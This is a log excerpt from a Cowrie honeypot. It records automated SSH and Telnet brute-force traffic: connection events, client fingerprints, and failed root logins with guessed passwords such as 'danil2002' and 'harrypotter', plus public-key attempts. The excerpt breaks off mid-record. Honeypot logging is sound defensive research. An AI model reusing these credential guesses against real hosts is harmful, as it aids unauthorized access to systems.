{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":42836,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d798831bf09","protocol":"ssh","message":"New connection: 103.77.175.15:42836 (10.17.0.5:22) [session: 2d798831bf09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:51:03.029775Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:51:03.035789Z","src_ip":"103.77.175.15","session":"2d798831bf09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:51:03.290768Z","src_ip":"103.77.175.15","session":"2d798831bf09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":39514,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe7a58d313d1","protocol":"ssh","message":"New connection: 103.195.236.96:39514 (10.17.0.5:22) [session: fe7a58d313d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:51:04.008877Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:51:04.014780Z","src_ip":"103.195.236.96","session":"fe7a58d313d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aaaaaaaa","message":"login attempt [root/aaaaaaaa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:51:04.061958Z","src_ip":"103.77.175.15","session":"2d798831bf09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:51:04.266534Z","src_ip":"103.195.236.96","session":"fe7a58d313d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.410245180130005,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:51:04.544121Z","src_ip":"152.42.224.71","session":"f478362561ab","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"danil2002","message":"login attempt [root/danil2002] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:51:05.009547Z","src_ip":"103.195.236.96","session":"fe7a58d313d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:51:05.320046Z","src_ip":"103.77.175.15","session":"2d798831bf09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:51:06.260980Z","src_ip":"103.195.236.96","session":"fe7a58d313d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.889018058776855,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:51:07.290069Z","src_ip":"152.42.224.71","session":"2ba2c130c2ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":32946,"dst_ip":"10.17.0.5","dst_port":23,"session":"cde35d5c2667","protocol":"telnet","message":"New connection: 152.42.224.71:32946 (10.17.0.5:23) [session: cde35d5c2667]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:51:07.380191Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":40400,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc227927c440","protocol":"ssh","message":"New connection: 109.237.96.109:40400 (10.17.0.5:22) [session: bc227927c440]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:51:08.607568Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:51:08.612003Z","src_ip":"109.237.96.109","session":"bc227927c440","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:51:08.702899Z","src_ip":"109.237.96.109","session":"bc227927c440","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazqazqaz","message":"login attempt [root/qazqazqaz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:51:08.974681Z","src_ip":"109.237.96.109","session":"bc227927c440","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00204968452454,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:51:09.917232Z","src_ip":"152.42.224.71","session":"c74fb68dbb68","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:51:10.069512Z","src_ip":"109.237.96.109","session":"bc227927c440","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00166869163513,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:51:10.953901Z","src_ip":"152.42.224.71","session":"c8555815d335","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":32950,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e2c4eeb01b8","protocol":"telnet","message":"New connection: 152.42.224.71:32950 (10.17.0.5:23) [session: 7e2c4eeb01b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:51:12.780815Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":32962,"dst_ip":"10.17.0.5","dst_port":23,"session":"8cfdd88e0c7e","protocol":"telnet","message":"New connection: 152.42.224.71:32962 (10.17.0.5:23) [session: 8cfdd88e0c7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:51:14.169518Z"}
{"eventid":"cowrie.session.closed","duration":63.57564973831177,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:51:25.861147Z","src_ip":"152.42.224.71","session":"1717d1b1fba0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":38112,"dst_ip":"10.17.0.5","dst_port":22,"session":"adbac8089e26","protocol":"ssh","message":"New connection: 103.176.20.57:38112 (10.17.0.5:22) [session: adbac8089e26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:51:29.732524Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:51:29.737006Z","src_ip":"103.176.20.57","session":"adbac8089e26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42800,"dst_ip":"10.17.0.5","dst_port":23,"session":"dcca5dc692de","protocol":"telnet","message":"New connection: 152.42.224.71:42800 (10.17.0.5:23) [session: dcca5dc692de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:51:29.813835Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:51:29.995598Z","src_ip":"103.176.20.57","session":"adbac8089e26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"harrypotter","message":"login attempt [root/harrypotter] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:51:30.772271Z","src_ip":"103.176.20.57","session":"adbac8089e26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.97832179069519,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:51:31.092401Z","src_ip":"152.42.224.71","session":"1fde4c2e6a25","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42816,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef4231986a60","protocol":"telnet","message":"New connection: 152.42.224.71:42816 (10.17.0.5:23) [session: ef4231986a60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:51:31.154559Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:51:32.031967Z","src_ip":"103.176.20.57","session":"adbac8089e26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42828,"dst_ip":"10.17.0.5","dst_port":23,"session":"acd45f551c47","protocol":"telnet","message":"New connection: 152.42.224.71:42828 (10.17.0.5:23) [session: acd45f551c47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:51:33.445226Z"}
{"eventid":"cowrie.session.closed","duration":46.975136041641235,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:51:35.286405Z","src_ip":"152.42.224.71","session":"97cad856ceb7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.110.201","src_port":51992,"dst_ip":"159.203.135.109","dst_port":22,"session":"a90a08312c1c","protocol":"ssh","message":"New connection: 94.159.110.201:51992 (159.203.135.109:22) [session: a90a08312c1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:51:38.473858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:51:38.478548Z","src_ip":"94.159.110.201","session":"a90a08312c1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:51:38.601727Z","src_ip":"94.159.110.201","session":"a90a08312c1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ybccfy","message":"login attempt [root/ybccfy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:51:38.971277Z","src_ip":"94.159.110.201","session":"a90a08312c1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:51:40.101780Z","src_ip":"94.159.110.201","session":"a90a08312c1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.949790477752686,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:51:46.730460Z","src_ip":"152.42.224.71","session":"7e2c4eeb01b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"63.143.63.51","src_port":36534,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a76fb5f90cb","protocol":"ssh","message":"New connection: 63.143.63.51:36534 (10.17.0.5:22) [session: 4a76fb5f90cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:51:47.173890Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:51:47.179443Z","src_ip":"63.143.63.51","session":"4a76fb5f90cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:51:47.207483Z","src_ip":"63.143.63.51","session":"4a76fb5f90cb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1a:07:b9:6f:53:ba:e0:8c:d6:27:d0:dd:fd:a2:bc:eb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvppFcsd6KHsz9uXs1N7JOiRVQY0xSEfwXP51L04ukuffEuE/jGSDOAhSMoC3v4n320a6GFZ2TyrkQiRroqMpLwt7KZVOG7hJXD6JPQ4E9hFQnLpuGEMUvODpcopvv/G9RGzTdHMlWoYsVnmpjfrvxgGUlNvuW8laT1nGM5jAh69faHt/RFhbuDs8YGKIHSQb1hFczcanM3Z/MhqA2qFu/SEIiQIX++mVDoHFOmT1PCjxJm4Dr1W2pIDGl8+8COVIQG6E6K5nDxHKPU7LnPOlXSdJPcEFaCgdg8dirbb7cMsxUYCz3JIa2Ke8oUGYrMm6NG/xGiFX1E95cw6BkMzbb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1a:07:b9:6f:53:ba:e0:8c:d6:27:d0:dd:fd:a2:bc:eb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:51:47.301936Z","src_ip":"63.143.63.51","session":"4a76fb5f90cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1a:07:b9:6f:53:ba:e0:8c:d6:27:d0:dd:fd:a2:bc:eb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvppFcsd6KHsz9uXs1N7JOiRVQY0xSEfwXP51L04ukuffEuE/jGSDOAhSMoC3v4n320a6GFZ2TyrkQiRroqMpLwt7KZVOG7hJXD6JPQ4E9hFQnLpuGEMUvODpcopvv/G9RGzTdHMlWoYsVnmpjfrvxgGUlNvuW8laT1nGM5jAh69faHt/RFhbuDs8YGKIHSQb1hFczcanM3Z/MhqA2qFu/SEIiQIX++mVDoHFOmT1PCjxJm4Dr1W2pIDGl8+8COVIQG6E6K5nDxHKPU7LnPOlXSdJPcEFaCgdg8dirbb7cMsxUYCz3JIa2Ke8oUGYrMm6NG/xGiFX1E95cw6BkMzbb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:51:47.306302Z","src_ip":"63.143.63.51","session":"4a76fb5f90cb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f5:90:aa:ac:5e:d1:4d:95:e2:ae:95:7c:54:5f:94:00","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDG0Wfqjd80egm6zfXIWoAVBBBkVBAuTIJHzkRV9+jecKB1HEXKv1RTQku/dwnl5lfVgeiwjQDi+qD/xlkd6lzri2GfwHTzlNfOpq4hEzXQmNjli0YmOd8RJdEt2hiPbDfbGrsmyjH2kSo+bvO6LjCu7phHpSPFU64gVjd4g2xnRurB8mRlv9zzyDwlYYn6c44OsiKtE/jGjN88vClf0ZYO8tDz4hLoDU9Sl+kmz+0xeYTzIPBbf59g1QQKSOa4AyamFGiqi2J/6ZBdUdW9OMyu9RNwKMmK6vdvbTJmWgkQ3MMaSYo3KO1snAOqk8GzsT+HGzewhyGju3pr/7X3JR9v","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 